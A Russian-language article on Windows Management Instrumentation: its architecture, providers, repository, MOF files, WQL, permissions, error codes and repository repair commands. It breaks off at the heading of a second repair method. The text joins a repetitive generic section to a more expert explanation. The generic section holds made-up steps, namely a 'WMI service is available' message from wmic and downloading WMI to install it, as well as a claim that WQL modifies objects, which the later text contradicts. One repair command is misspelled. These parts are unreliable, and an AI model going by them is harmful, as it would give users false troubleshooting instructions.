Служба WMI также поддерживает событийную модель, позволяющую получать уведомления о различных событиях, происходящих в системе. Например, можно получать уведомления о запуске и остановке процессов, изменении конфигурации системы, обнаружении ошибок и др.

Для более удобной работы с WMI разработан специальный язык запросов WQL (WMI Query Language). Он позволяет выражать запросы на выборку, фильтрацию и сортировку данных, а также на создание, изменение и удаление объектов.

В целом, принципы работы службы WMI сводятся к предоставлению универсального интерфейса для управления и мониторинга ресурсов компьютера, а также возможности получения уведомлений о различных событиях, происходящих в системе. Это делает WMI неотъемлемой частью системы управления и мониторинга в среде Windows.

Особенности работы службы WMI
Предоставляет доступ к информации о ресурсах компьютера
Основана на объектно-ориентированной модели
Позволяет выполнять запросы и получать уведомления о событиях
Поддерживает использование языка запросов WQL

Windows management instrumentation service (WMI) — это компонент операционной системы Microsoft Windows, который позволяет администраторам управлять и мониторить различные аспекты системы, такие как процессы, службы, файлы и многое другое. WMI предоставляет программным приложениям и скриптам доступ к информации о работе системы и возможность управления ею.

Очень важно, чтобы WMI был запущен успешно на компьютере, так как многие инструменты и административные приложения зависят от его работы. Если WMI не запущен или работает некорректно, это может привести к сбоям и неполадкам в системе, а также затруднить ее мониторинг и управление.

Так что если вы столкнулись с проблемами, связанными с WMI, первым делом стоит проверить, запущен ли данный сервис и работает ли он корректно. Для этого можно воспользоваться инструментами администрирования компьютера или выполнить соответствующую команду в командной строке. В случае, если WMI не запущен, вы можете попробовать его запустить или перезапустить. Если проблемы сохраняются, то возможно потребуется обратиться к специалисту для более подробного рассмотрения и решения проблемы.

Корректная работа Windows management instrumentation service — это залог стабильной работы операционной системы Windows. Постоянный мониторинг и поддержка WMI помогают предотвратить возникновение ошибок и неисправностей в работе системы и обеспечивают бесперебойную работу всех компонентов и приложений.

Windows management instrumentation service: основные функции и возможности

Основной функционал WMI включает в себя:

1.	Мониторинг и управление оборудованием:
—	С помощью WMI можно получать информацию о установленных на компьютере устройствах, таких как процессоры, жесткие диски, оперативная память и другие компоненты. Также предоставляются возможности для управления этим оборудованием, например, установка параметров или выполнение дополнительных действий.
2.	Мониторинг и управление программным обеспечением:
—	WMI позволяет получать информацию о установленных на компьютере программных компонентах, таких как операционная система, приложения, службы и другие элементы ПО. Администраторы могут использовать эту информацию для мониторинга состояния установленного ПО и выполнения задач, связанных с управлением и обслуживанием программного окружения.
3.	Автоматизация задач:
—	WMI предоставляет разработчикам возможность создавать сценарии и скрипты для автоматизации задач системного администрирования. С помощью WMI можно автоматизировать такие действия, как изменение системных настроек, установка программного обеспечения или запуск задач в определенное время.
4.	Мониторинг сети:
—	WMI позволяет получать информацию о состоянии сети, такую как IP-адрес, информация о подключенных сетевых интерфейсах и другие данные. Администраторы могут использовать эту информацию для мониторинга и управления сетевыми настройками компьютеров.

Windows management instrumentation service является незаменимым инструментом для системных администраторов и разработчиков, обеспечивая быстрый и гибкий доступ к информации о компьютерных ресурсах и возможность управления ими.

Как Windows management instrumentation service работает

WMI работает на основе объектно-ориентированной модели, которая представляет систему в виде иерархии объектов и классов. Каждый класс представляет собой конкретный компонент системы, такой как процессор, память или сетевой интерфейс.

С помощью WMI можно получить информацию о различных системных ресурсах, таких как жесткие диски, процессоры, оперативная память и сетевые подключения. Администраторы могут использовать WMI для мониторинга состояния системы, управления процессами и настройки компонентов.

Для работы WMI используется язык запросов WQL (WMI Query Language), который позволяет получать информацию из WMI-провайдеров. Провайдеры WMI предоставляют доступ к информации о различных компонентах системы, а также позволяют управлять ими.

WMI может быть использована для автоматизации административных задач, таких как инвентаризация оборудования, управление программным обеспечением и мониторинг производительности системы. Она предоставляет широкий набор возможностей и инструментов для работы с системными ресурсами Windows OS.

• WMI предоставляет доступ к информации о системе и управлению ресурсами Windows.
• WMI работает на основе объектно-ориентированной модели, представляющей систему в виде иерархии объектов и классов.
• С помощью WMI можно получить информацию о системных ресурсах и использовать ее для мониторинга и управления системой.
• Для работы с WMI используется язык запросов WQL и WMI-провайдеры.
• WMI может быть использована для автоматизации административных задач и управления системой.

Преимущества использования Windows management instrumentation service в операционной системе Windows

Windows management instrumentation service (WMI) представляет собой набор инструментов управления и мониторинга, которые предоставляются операционной системой Windows. WMI позволяет администраторам и разработчикам получать доступ к информации о системе, конфигурации и ресурсах компьютера, а также управлять ими.

Основные преимущества использования WMI в операционной системе Windows включают:

1	Мониторинг и управление ресурсами системы: С помощью WMI можно получить доступ к информации о процессоре, памяти, жестком диске, сети и других ресурсах компьютера. Администраторы могут использовать эту информацию для мониторинга и управления ресурсами системы, что помогает оптимизировать работу компьютера и предотвращать перегрузки.
2	Управление конфигурацией и настройками: WMI позволяет получить доступ к конфигурационным данным компьютера, включая настройки операционной системы, подключенные устройства, пользовательские настройки и другие параметры. Это позволяет администраторам производить изменения в конфигурации компьютера удаленно и автоматизировать процесс установки и настройки программного обеспечения.
3	Отслеживание и контроль процессов и событий: WMI предоставляет возможность отслеживать и контролировать процессы и события, происходящие на компьютере. Администраторы могут создавать скрипты и задания для мониторинга событий, таких как запуск и остановка служб, изменение файлов и реестра, а также получать уведомления о сбоях и проблемах в системе.
4	Расширяемость и адаптивность: WMI предоставляет возможность разработчикам создавать собственные приложения и скрипты, используя API (Application Programming Interface) и запросы на языке запросов WMI (WQL). Таким образом, WMI становится мощным инструментом для автоматизации и мониторинга системы, а также для интеграции с другими системами и приложениями.

Использование Windows management instrumentation service позволяет повысить эффективность управления и мониторинга операционной системы Windows, облегчает задачи администраторов и разработчиков, а также способствует оптимизации работы компьютеров в среде Windows.

Windows management instrumentation service: инструкция по установке и настройке

Шаг 1: Проверка наличия WMI

Прежде чем устанавливать WMI, необходимо проверить, установлен ли он уже на вашем компьютере. Для этого выполните следующие действия:

1. Откройте командную строку, нажав клавишу Win + R и введя команду «cmd».
2. В командной строке введите команду «wmic» и нажмите Enter.
3. Если в выводе появится сообщение «WMI service is available», значит WMI уже установлен на вашем компьютере.

Шаг 2: Установка WMI

Если WMI отсутствует на вашем компьютере, вы можете установить его, следуя этим шагам:

1. Перейдите на официальный сайт Microsoft по адресу https://www.microsoft.com/ru-ru/download/details.aspx?id=24009.
2. Скачайте установочный файл WMI.
3. Запустите скачанный файл и следуйте указаниям мастера установки.
4. После успешной установки WMI перезагрузите компьютер.

Шаг 3: Настройка WMI

После установки WMI вы можете настроить его для работы на вашем компьютере или на удаленных компьютерах. Для этого выполните следующие действия:

1. Откройте Панель управления и найдите раздел «Администрирование».
2. Откройте «Службы» и найдите «Windows Management Instrumentation».
3. Убедитесь, что служба «Windows Management Instrumentation» включена и запущена автоматически.
4. Если служба не запущена, щелкните правой кнопкой мыши на ней и выберите «Запустить».
5. Настройте нужные параметры WMI с помощью инструментов, доступных в Панели управления.

Шаг 4: Тестирование WMI

Для проверки работоспособности WMI вы можете выполнить простой тест. Для этого:

1. Откройте командную строку.
2. Введите команду «wmic» и нажмите Enter.
3. Введите команду «os get Caption» и нажмите Enter.
4. Если в выводе будет отображено название операционной системы, значит WMI настроен и работает корректно.

Теперь вы готовы использовать Windows management instrumentation service для управления и мониторинга вашей операционной системы Windows.

Как проверить успешный запуск Windows management instrumentation service

Чтобы проверить, что WMI успешно запущен, можно выполнить следующие шаги:

1. Нажмите комбинацию клавиш Win + R, чтобы открыть окно «Выполнить».
2. Введите «services.msc» и нажмите Enter, чтобы открыть окно «Управление службами».
3. В окне «Управление службами» прокрутите список служб вниз и найдите «Windows management instrumentation».
4. Проверьте статус службы WMI. Если статус службы отображается как «Запущено», это означает, что WMI был успешно запущен.

Кроме того, можно также проверить логи событий Windows для получения дополнительной информации об успешном запуске WMI. Для этого следуйте этим шагам:

1. Нажмите комбинацию клавиш Win + X и выберите «Просмотреть события».
2. В окне «Просмотр событий» выберите «Журналы Windows» и затем «Система».
3. Найдите последние записи событий, связанные с WMI, и проверьте их статус. Если события отображаются без ошибок или предупреждений, это указывает на успешный запуск WMI.

Проверяя статус службы WMI и логи событий Windows, вы сможете убедиться, что WMI успешно запущен на вашей операционной системе Windows. Если вы обнаружите какие-либо ошибки или проблемы, рекомендуется обратиться к документации Microsoft или обратиться в службу поддержки.

Наверняка еще с незапамятных времен, в операционной системе Windows, вам приходилось сталкиваться с аббревиатурой WMI? Это не что иное, как инструментарий управления Windows. Многие специалисты (и пользователи) встречаются с WMI довольно редко, но когда приходится работать с большими и важными корпоративными продуктами, тут уже WMI приобретает я бы сказал ключевое значение, поэтому устранение сбоев в работе WMI является важнейшим фактором работоспособности ключевых компонентов системы. Понятное дело, что информации о WMI превеликое множество, по нему пишутся увесистые серьезные труды на несколько сот страниц мелкого неразборчивого текста, но вся информация, которая необходима мне в данный момент времени, содержится в этой заметке.

Windows Management Instrumentation (WMI) — инструментарий управления Windows, механизм [централизованного] управления и наблюдения за функционированием многочисленных (программных и аппаратных) компонентов компьютерной инфраструктуры под управлением операционной системы Windows.

С момента своего появления в Windows95 OSR2, WMI остается основным механизмом управления для всех пользовательских/серверных операционных систем линейки Windows. Фактически WMI делает доступным создание управляющих приложений (скриптов), целью которых является взаимодействие (сбор информации/управление) с многочисленными, разнородными ресурсами системы Windows. Со временем технология WMI активно развивалась и стала основой для создания серьёзных корпоративных продуктов, таких как Configuration Manager. WMI изначально является расширенной и адаптированной под Windows реализацией промышленного стандарта WBEM:

Web-Based Enterprise Management (WBEM) — модель управления [предприятием] на базе web-стандартов (иначе: при помощи Интернет).

В разработке WBEM участвовал ряд крупных компаний, ставивших своей целью разработку стандартов управления производственной информационной средой, обеспечивающих координацию работы всех физических и логических компонентов [этой среды] из единой точки [управления], не зависящих от типа оборудования, сетевой инфраструктуры, операционной системы и множества других нюансов (стандартизация). Для этого была предложена общая информационная модель (Common Information Model, CIM), служащая для [схематичного] представления физической и логической структуры любого управляемого компонента [на предприятии] в виде масштабируемой объектно-ориентированной информационной модели и описывающая интерфейсы доступа к данным.

Масштабируемость (расширяемость) модели CIM призвана обеспечить [системам/драйверам/приложениям] добавление собственных классов, объектов, методов и свойств.

А поскольку WMI базируется на CIM, то её можно считать открытой унифицированной системой интерфейсов доступа к множеству [контролируемых] параметров, имеющихся у разнородных (аппаратных/программных) компонентов, функционирующих под управлением операционной системы Windows.
Достаточно уже определений, всё же хотелось бы понять, какое это имеет практическое обоснование? Давайте представим себе [абстрактную] ситуацию: возьмем системного администратора Васю Пупкина из первой половины 90-х годов, сервера у него на какой-нибудь версии Windows NT, клиенты вообще не пойми на чём. Внезапно (внезапность вообще частый спутник нашего брата возникает мысль: хорошо бы знать, на скольких моих машинках установлена Windows95 OSR2, из отобранных систем выделить работающие с 8Мб ОЗУ (и больше) и собранные на матерях Zida 5DXP (Tomato Board), на каких из полученных систем BIOS версии младше 1.90? И это не самый сложный запрос, согласитесь. И как предлагаете эту самую задачу администратору Васе решать? Естественно, что решения подобных задач были в то время нетривиальны, ведь данные разнообразных компонентов ОС всегда хранились во множестве источников: база пользователей SAM, журнал событий Event Log, системный реестр, файловая система. Доступ к этим источникам осуществлялся с помощью многочисленных утилит (диспетчер пользователей, просмотрщик журнала событий, редактор реестра), и хорошо если этот инструментарий был доступен непосредственно в ОС, а ведь часто имелся лишь API и для доступа к информации приходилось вообще писать что-то своё!! Сколько же времени уходило на решение подобных задач? В общем, администратор для решения схожих задач должен был осваивать большое количество разнообразных техник и приемов. Способствовало ли это возникновению запроса на разработку некоего стандартизованного доступа к разнородным данным компонентов операционной системы?! Вопрос, конечно же, риторический.

WMI обеспечивает решение разнообразных задач управления: например, проведение инвентаризации оборудования и программного обеспечения, мониторинг работы процессов и служб и множество аналогичных.

WMI представляет собой непротиворечивую и расширяемую объектную модель представления широкого спектра объектов (ресурсов): аппаратные/логические устройства, исполняемые процессы, файловая система, реестр, приложения, базы данных и многое многое другое.

WMI построена по объектно-ориентированному принципу, то есть в ней большинство данных, связанных с разнообразными компонентами операционной системы, представлены в виде объектов, их свойств (атрибутов, характеристик объекта) и методов (действий на объектом).

И для тех, кто пока еще слабо разбирается в объектно-ориентированном программировании, скажу что объект (или экземпляр класса) — сложноструктурированное представление информации, которое полностью описывает некую сущность в ОС. Класс — это модель объекта, некое абстрактное понятие, своеобразный «чертеж», содержащий описательную часть, на основе которой затем создаются объекты. Класс описывает свойства и методы, доступные у создаваемых впоследствии по этому описанию объектов. WMI поддерживает запросы от управляющих приложений на следующие операции:

• получение/изменение элементов данных (свойств) управляемых объектов.
• вызов методов управляемых объектов (действий над управляемыми объектами).
• выполнение запросов к набору данных управляемых объектов.
• регистрация для получения событий от управляемых объектов.

Инфраструктура WMI

WMI представляет собой уровень абстракции между приложениями и сценариями управления с одной стороны, и управляемыми ими физическими и логическими ресурсами с другой. Выражаясь иначе, WMI должна обеспечивать связь управляющих программ с управляемыми объектами, и обеспечивает она это при помощи следующих компонентов.

Служба/сервис WMI

В системе за всё это отвечает компонент под названием Менеджер объектов CIM (Common Information Model Object Manager, CIMOM), занимающийся обслуживанием взаимодействия управляющих приложений с WMI-провайдерами и управлением хранилищем базы данных WMI (репозиторием). Традиционно, как и большинство подобного функционала, CIMOM реализован в системе в виде службы, которая в данном конкретном случае носит название Инструментарий управления Windows. Исполняемый модуль, содержащий весь функционал (функции CIMOM) службы WMI, именуется winmgmt.exe и размещается в директории %SystemRoot%\System32\Wbem\. В разных версиях операционной системы Windows служба WMI запускалась по-разному:

CIMOM запускается в контексте общего хоста служб (svchost), но может быть и запущен в качестве отдельного процесса. Провайдеры WMI должны быть зарегистрированы при помощи CIMOM для корректного перенаправления запросов от конечного (управляющего) приложения к целевому провайдеру. В дополнение ко всему, для доступа к WMI из сценариев, в системе присутствует библиотека поддержки сценариев WMI (WMI scripting library), которая располагается в файле wbemdisp.dll. Параметры конфигурации сервиса WMI представлены в ключе реестра:

• HKEY_LOCAL_MACHINE\Software\Microsoft\WBEM

WMI предоставляет доступ к собственным ресурсам через программный интерфейс компонентной объектной модели (COM API).

Провайдеры WMI

Когда управляющему приложению требуется получить какую-либо информацию от управляемых системных ресурсов, служба WMI (Winmgmt) должна иметь четкое представление (понимать) как работать с тем или иным запрашиваемым ресурсом, за это сопряжение ответственны так называемые провайдеры (поставщики) WMI.

Таким образом, WMI-провайдеры обеспечивают связь между менеджером объектов CIM и управляемыми ресурсами.

Из этого следует, что фактически провайдеры WMI маскируют [собой] детали внутренней реализации управляемых ими объектов, позволяя CIMOM взаимодействовать с подконтрольными провайдерам объектами единообразно, используя WMI API. Для лучшего понимания механизма можно провести аналогию между WMI-провайдерами и драйверами устройств: они так же обеспечивают взаимодействие с аппаратным или программным ресурсом (или набором ресурсов). Провайдеры (поставщики) являются основой WMI, поскольку:

Практически все классы WMI и соответствующие им методы реализованы посредством провайдеров WMI.

Провайдеры WMI обычно представлены в системе в виде пары файлов:

• MOF-файла, определяющего классы событий/данных (для которых данные будут предоставляться);
• исполняемого модуля (формата DLL/EXE/***-файла), содержащего код, обеспечивающий весь процесс обработки/предоставления данных;

Выбор файла-контейнера для хранения кода достаточно широкий, поскольку любое приложение в системе (включая и драйвера) теоретически может функционировать в качестве провайдера (поставщика) WMI и создавать собственные классы WMI. Тем не менее, код провайдеров чаще представляется следующими методами:

• в качестве динамических библиотек (COM DLL) пользовательского режима;
• в качестве драйверов режима ядра;

Каждый WMI-провайдер имеет собственные идентификаторы CLSID, зарегистрированные в системном реестре и ассоциированные с ним для дальнейшего разрешения COM. Данный CLSID используется для поиска соответствующей библиотеки (DLL), реализующей весь функционал провайдера. WMI провайдер собирает данные: например, при запросе списка процессов — опрашивает все работающие/запущенные в системе процессы, при работе с реестром — перечисляет ключи реестра, и так далее.

Классически провайдеры реализуются в виде COM/DCOM-серверов, представленных в виде библиотек (DLL), обычно располагающихся в каталоге %SystemRoot%\System32\Wbem\.

В то время как служба WMI обслуживает управляющие приложения через COM-интерфейс, WMI-провайдеры действуют в качестве COM-серверов, обрабатывающих запросы от службы WMI. Когда провайдер загружается, он регистрирует собственное положение и классы, объекты, свойства, методы и события, которые он предоставляет [в WMI]. WMI использует эту информацию для перенаправления запросов к соответствующему провайдеру. Так же взаимодействие между разными участниками WMI может происходить:

• локально — через COM-интерфейс;
• удаленно — через DCOM-интерфейс или [более современный] Windows Remote Management (WinRM).

WMI обрабатывает запросы от управляющих приложений следующим образом:

1. [Управляющее] приложение отправляет запрос к WMI, которая, в свою очередь, перенаправляет его к соответствующему провайдеру (поставщику).
2. Провайдер выполняет взаимодействие с запрошенным системным ресурсом и возвращает результат к WMI.
3. WMI передает ответ [обратно] к вызвавшему приложению. Ответ может быть актуальными данными [запрашиваемого] ресурса или результатом выполнения [требуемой] операции.

Microsoft предлагает некоторое количество «встроенных» провайдеров в составе дистрибутива операционной системы Windows: журнала событий, системного реестра, файловой системы и некоторых других.

Репозиторий (хранилище)

Как было сказано выше, WMI базируется на том, что информация о состоянии любого управляемого объекта может быть представлена в виде общей информационной модели (CIM), которая сама по себе фактически и является хранилищем объектов и классов, моделирующих различные компоненты компьютерной системы. Таким образом, в общем случае:

Репозиторий CIM — хранилище модели CIM.

или более адаптированно для реалий операционной системы:

WMI (CIM) Репозиторий — это дисковая база данных, используемая для хранения «откомпилированного представления» объектов WMI (определений классов и экземпляров пространств имен) и обеспечивающая эффективный (оптимизированный) доступ к ним.

Где класс выступает в качестве модели (шаблона) управляемого объекта (фактически любого компонента операционной системы: процесса, сервиса, файловой системы, события, диска и многого другого). В файловой системе репозиторий располагается по пути: %SystemRoot%\System32\Wbem\Repository\ и состоит из следующих файлов (для Windows 7):

Данные в WMI могут быть двух типов:

• статические (откомпилированные) данные — доступны в определении класса или объекта и хранятся в репозитории WMI;
• динамические (формируемые в процессе) данные — доступны в виде ответа на запрос к WMI-провайдеру (создаются «на лету»). например, объекты Win32_Process, которые генерируются в ходе опроса дерева процессов.

Но чаще всего в модели CIM хранятся классы, которые соответствуют динамически изменяемым ресурсам, поэтому объекты-экземпляры таких классов создаются провайдером по запросу потребителя WMI и не хранятся постоянно в репозитории CIM, поскольку состояние большинства WMI-совместимых устройств меняется довольно быстро и непрерывное обновление информации в репозитории [CIM] может существенно влиять на производительность операционной системы.

В дополнение ко всему, в репозитории WMI хранится информация о безопасности WMI.

Судя по всему, WMI использует доработанную версию Microsoft Jet Database Engine для доступа к данным репозитория, поддерживающую вставку, удаление, поиск ключей и сопоставление по префиксу ключа (спасибо, кэп).

MOF

Спецификация CIM, помимо всего прочего, включает в себя описание языка, предназначенного для предоставления понятного человеку способа описания структур CIM. WMI использует так называемый формат управляемого объекта (MOF, Managed Object Format) в качестве языка, используемого для описания классов CIM.

MOF представляет собой язык (формат, способ) описания классов, экземпляров [классов] и иных структур CIM с использованием специализированных директив, описываемых в привычном для нас текстовом формате. Базируется на языке описания интерфейсов (Interface Definition Language, IDL).

MOF-файл содержит директивы, задающие: имена сущностей, которые могут быть запрошены, типы полей в сложных классах, и разрешения, связанные с группами объектов. Структуры подавляющего большинства объектов WMI описываются парой файлов следующих форматов:

• <имя_файла>.mof — общее описание объектов;
• <имя_файла>.mfl — локализованное описание объектов;

Данные, содержащиеся в файлах MOF при помощи специальных утилит компилируются и сохраняются в репозитории WMI. Например, mofcomp.exe фактически выполняет компиляцию/вставку данных, описанных в файлах MOF, в репозиторий CIM. Можно сказать, что MOF это фактически объектно-ориентированный язык, позволяющий описывать:

• Пространства имен — Классы
• Свойства
• Методы
• Квалификаторы
• Интерфейсы
• Ссылки
• Комментарии

Разработчик может создавать собственные классы [данных], предоставляющие данные, доступные через уже имеющиеся в системе провайдеры WMI, такие (например) как данные системного реестра. В этих случаях, администратор должен импортировать сторонние mof-файлы. Например, файл провайдера SMS smsprov.mof содержит определения [на MOF-языке], описывающие пространство имен Root\SMS и содержащиеся в нем классы. MOF использует синтаксис C++ и предоставляет [своеобразный] шаблон для описания WMI-объекта. В то время, как WMI-провайдеры генерируют неструктурированные данные, MOF-файлы представляют шаблоны, в которых сгенерированные данные форматированы.

Классы и пространства имен WMI

Классы WMI сгруппированы в пространства имен (namespaces), которые выстроены иерархически в виде дерева (с единым корнем) и напоминают используемые в традиционных объектно-ориентированных языках программирования.

Пространство имен WMI – это группировка (контейнер) классов и объектов, объединенных по назначению, то есть относящихся к определенной технологии или области управления.

Вне зависимости от версии WMI в системе имеется несколько предопределенных пространств — корневое пространство имён Root, и 4 пространства, располагающихся уровнем ниже: CIMv2, Default, Security и WMI. Все пространства имен являются производными от КОРНЕВОГО (Root) пространства имен. Пространства имен организуют в себе классы WMI и другие элементы, таким образом их проще представить себе в качестве контейнера или каталога файловой системы. Некоторые пространства имен содержат вложенные пространства имен, и так далее. Классы объектов WMI распределены иерархически в пространства имен, похожих на используемые в традиционных объектно-ориентированных языках программирования. Одно из существующих в Windows пространств имен назначается пространством по умолчанию, в стандартной поставке им является пространство имен Root\CIMV2. Таким образом, при запросах объектов, в которых явно не задано пространство имен, будем выбрано пространство по умолчанию.

Язык запросов WMI (WQL)

Очевидно было бы крайне неудобно ограничивать доступ из управляющих приложений (потребителей WMI) к управляемым объектам лишь функциями WMI API (доступного исключительно из кода приложений), гораздо универсальнее создать специализированный удобочитаемый язык запросов, который может быть использован в различного вида инструментарии (программах/консолях). Для этой цели был разработан Язык запросов WMI:

WMI Query Language (WQL) — язык запросов, предоставляющий простой синтаксис для обращения к экземплярам объектов, классам и пространствам имен WMI. С использованием подобных запросов и происходит обращение потребителей (управляющих приложений) WMI к управляемым объектам WMI. WQL, в свою очередь, является Microsoft-адаптацией языка запросов CIM (CIM Query Language, CQL).

Тем не менее не все провайдеры управляемого объекта поддерживают WQL, в подобных ситуациях менеджер объектов CIM должен преобразовать запрос к виду, обрабатываемому [конкретным] провайдером. WQL представляет собой специально сконструированные запросы, которые являются подмножеством (подвидом) SQL. Концептуальное отличие от ANSI SQL — это отсутствие инструкций для изменения данных, то есть при помощи WQL возможна лишь выборка данных с помощью команды SELECT. Помимо ограничений на работу с объектами, WQL не поддерживает такие операторы как DISTINCT, JOIN, ORDER, GROUP, математические функции, а конструкции IS и NOT IS применяются только в сочетании с константой NULL. WQL запросы можно протестировать при помощи GUI-утилиты wbemtest и CUI-утилиты wmic (утилита wmic не требует указания ключевого слова SELECT и полей выборки), а затем применять их в собственных скриптах.

Права доступа к пространствам имен

Механизм безопасности действует в WMI на уровне пространств имен. Для каждого пространства может быть определен собственный дескриптор безопасности, содержащий таблицу контроля доступа. Каждая запись таблицы контроля доступа содержит информацию о том, какие права (разрешения) имеет [тот или иной] пользователь при выполнении операций в данном пространстве имен. Несмотря на то, что пространства имен расположены по идентичному пути, то есть имеют единый корень, привилегии отличны для каждого пространства имен, и поэтому разрешения дочернего пространства имен не наследуются от родительского. Чтобы проверить/назначить разрешения WMI, выполните следующие действия:

1. Пуск → Администрирование и выберите пункт Управление компьютером;
2. Разверните узел Службы и приложения и щелкните правой кнопкой мыши элемент управления WMI;
3. Правая кнопка мыши → выберите пункт меню Свойства, чтобы открыть диалоговое окно Свойства элемента управления WMI;
4. Перейдите на вкладку Безопасность и разверните корневой узел Root. Выберите требуемый объект пространства имен (установив курсор), затем нажмите кнопку Безопасность;

Отладка/запись событий WMI

Похоже в ранних реализациях настройка журнала событий WMI находилась в свойствах элемента управления WMI, однако в новых версиях её перенесли в общий Просмотр событий.

1. Открыть Просмотр Событий (Event Viewer, Eventvwr).
2. В меню Вид, выбрать Отобразить аналитический и отладочный журналы.
3. В дереве в левом фрейме разворачиваем пункт Журналы приложений и служб (Applications and Service Logs) → Microsoft → Windows → WMI Activity
4. Правую кнопку мыши на пункте Trace и выбираем Включить журнал (Enable Log). Если выбрать Свойства из того же меню, то можно увидеть куда пишутся события трассировки: %SystemRoot%\System32\Winevt\Logs\Microsoft-Windows-WMI-Activity%4Trace.etl.

Инструменты для взаимодействия с WMI

Ошибки WMI

Причиной зачастую бывает падение службы WMI, что может повлечь за собой повреждение репозитория со всеми вытекающими. Поэтому:

Если репозиторий имеет те или иные повреждения, то служба WMI нормально функционировать не будет.

Ну а последствия неправильного функционирования службы WMI в системе следующие:

• отказ в запуске [зависимых от WMI] системных служб;
• отказ в установке/запуске приложений [зависимых от WMI];
• некорректная работа объектов групповых политик;
• ошибки при выполнении скриптов [использующих WMI];

Более осязаемые проявления проблем с сервисом/репозиторием WMI:

1. Ошибки в log-файлах самих приложений: WBEM_E_NOT_FOUND — 0x80041002.
2. Ошибки отказа при подключении к пространствам имен Root\Default или Root\cimv2;
3. Ошибка/подвисание при открытии свойств WMI в оснастке Управление компьютером: «WMI : Not Found», «0x80041010 WBEM_E_INVALID_CLASS», «Filed to initialize all required WMI classes»;
4. Подвисание разных утилит по работе с WMI (wbemtest и прч);
5. Отсутствие в репозитории некоторых схем/классов/объектов;
6. Проблема в запуске SCCM-агента (WBEM_E_INVALID_CLASS — 0x80041010);
7. Ошибки подключения/операций (0x8007054e);
8. Ошибки подгрузки WMI-провайдеров: WBEM_E_PROVIDER_LOAD_FAILURE — 0x80041013;
9. Ошибки доступа при попытке доступа к WMI-объектам: E_ACCESS_DENIED — 0x80070005;
10. Ошибки поиска пространств имен: WBEM_E_INVALID_NAMESPACE — 0x8004100E;
11. Ошибки в Журнале событий Windows (Приложение) — источник WinMgmt, EventID — 10;

Восстановление WMI

Доступный на данный момент в системе/Сети инструментарий диагностических инструментов WMI даёт возможность довольно скрупулезно подойти в вопросу восстановления работоспособности WMI, но кто бы еще так же детально (тонко) этот WMI понимал, так что процесс этот довольно трудоемкий. Поэтому поступают проще и обычно используют основные методы:

1. Набор действий по восстановлению репозитория через утилиты командной строки;
2. [многочисленные] скрипты по восстановлению репозитория/перекомпиляции mof/mfl, перерегистрации провайдеров;

Эти методики подходят для большинства ситуаций, которые могут встретиться на рабочих станциях пользователей/серверах. Тем не менее, имеется несколько тонких моментов в логике восстановления работоспособности WMI, и их нужно непременно усвоить:

1. Самым примитивным способом восстановления репозитория является удаление/переименование его рабочей директории. То есть, вы переименовываете директорию %SystemRoot%\System32\Wbem\Repository, к примеру, в Repository.old и ждете. После определенного таймаута сервис определит отсутствие директории репозитория и запустит процедуру восстановления. Но этот простой способ особенно никем не применяется, поскольку не учитывает перекомпиляцию не входящих в автовосстановление (список .mof в реестре) классов и не выполняет перерегистрацию провайдеров.
2. Вне зависимости от того, где и как оно применяется, удаление рабочего WMI-репозитория является достаточно разрушительной операцией, которая может повлечь за собой потерю данных, возникновение ошибок в WMI-приложениях, замедление отклика некоторых операций, и возникновении других, сложнодиагностируемых проблем.
3. Существуют приложения, которые в процессе установки в систему [самостоятельно] напрямую обновляют репозиторий, вообще не используя никаких .mof-файлов. Соответственно, при пересоздании (удалении и создании) репозитория подобные приложения не имеют возможности обновить базу данных и их данные, связанные с WMI, будут удалены (потеряны) вплоть до момента, пока вы не переустановите означенные приложения (в режиме восстановления).
4. Следует помнить, что не все приложения хранят свои WMI-провайдеры (.dll) и .mof-файлы в %SystemRoot%\System32\wbem. Соответственно, вам нужно будет выявить подобные приложения (поиск по маске *.mof), и либо произвести их переустановку, либо выполнить ручную регистрацию провайдеров (библиотек) и перекомпиляцию .mof-файлов.
5. Существуют .mof-файлы, которые содержат директивы вида #pragma deleteclass или #pragma deleteinstance. По хорошему, некоторые источники советуют временно перемещать подобные файлы в стороннюю директорию перед потоковой перекомпиляцией всех .mof-файлов. Но никто этого делать не хочет, ну и мы не будем.
6. [ начиная с Windows7 ] в каталоге репозитория можно обнаружить файлы, содержащие информацию об удалении, такие как OfflineFilesWmiProvider_Uninstall.mof, Wdf01000Uninstall.mof, Win32_EncryptableVolumeUninstall.mof, WinsatUninstall.mof, wpcuninst.mof, WsmAgentUninstall.mof, WUDFxUninstall.mof, в именах которых присутствует слово uninstall. И если скрипты перечисляют и компилируют все без исключения файлы, то компиляция подобных файлов приведет к удалению классов, соответственно последние станут недоступны. Но эту проблему можно обойти путем исключения.
7. Перекомпиляция MOF-файлов зачастую должна производиться в определенной последовательности. Например, классы в файле [условно] 1.mof могут зависеть от классов, указанных в файле 2.mof. Если последние отсутствуют, утилита mofcomp.exe не будет добавлять классы. Для того, что бы подобрать правильную последовательность, нужно знать зависимости для всех классов, представленных в системе. Возможно эту проблему можно частично решить перекомпиляцией каких-то базовых (основных) .mof-файлов в первую очередь, перед основным циклом перекомпиляции всех остальных. Поэтому скрипты на данный момент не делают всё идеально, но все-равно даже это работает и приносит результат
8. Везде встречаются рекомендации о том, что сперва надо компилировать .mof-файлы, а затем уже их локализованные .mfl-копии. Когда все файлы размещались в одной директории, было удобно, но в последних версиях ОС .mfl переехали в локализованные поддиректории (например, ru-RU), поэтому проход по *.mfl надо делать с учетом вложенных директорий?
9. Имеются рекомендации, что в 64-битных ОС работу ручную перекомпиляцию репозитория надо выполнять из директории %SystemRoot%\SysWOW64\wbem, а на 32-битных системах из %SystemRoot%\System32\wbem, но оказалось, что (в ОС, начиная с Windows 7) в директории для 64-битной ОС отсутствуют многие .mof файлы, что меня лично настораживает. Рекомендация могла устареть? К тому же, большинство на это забивает и радуется

Поэтому вы уже поняли, что приведенные тут решения несовершенны, но в реальных боевых условиях не раз помогали избавиться от проблем с WMI (даже удивительно).

Метод 1

Самое правильное, это всегда начинать с наименее деструктивных техник работы с репозиторием, например с помощью входящей в состав дистрибутива утилиты winmgmt. Выполните следующую команду (начиная с Windows Vista/Server 2008):

winmgmt /verifyrepository

Если проверка вернула ошибку (например, WMI repository is INCONSISTENT), то выполняем перестроение репозитория:

winmmgmt /salvagerepository

Затем повторно проверяем репозиторий:

winmgmt /verifyrepository

Ну и если перестроение не дало результата и вы всё еще получаете ошибки, то можно воспользоваться более деструктивным методом (серия: остановка службы + сброс репозитория):

net stop winmgmt /y
winmgmt /resetrepository

Метод 2

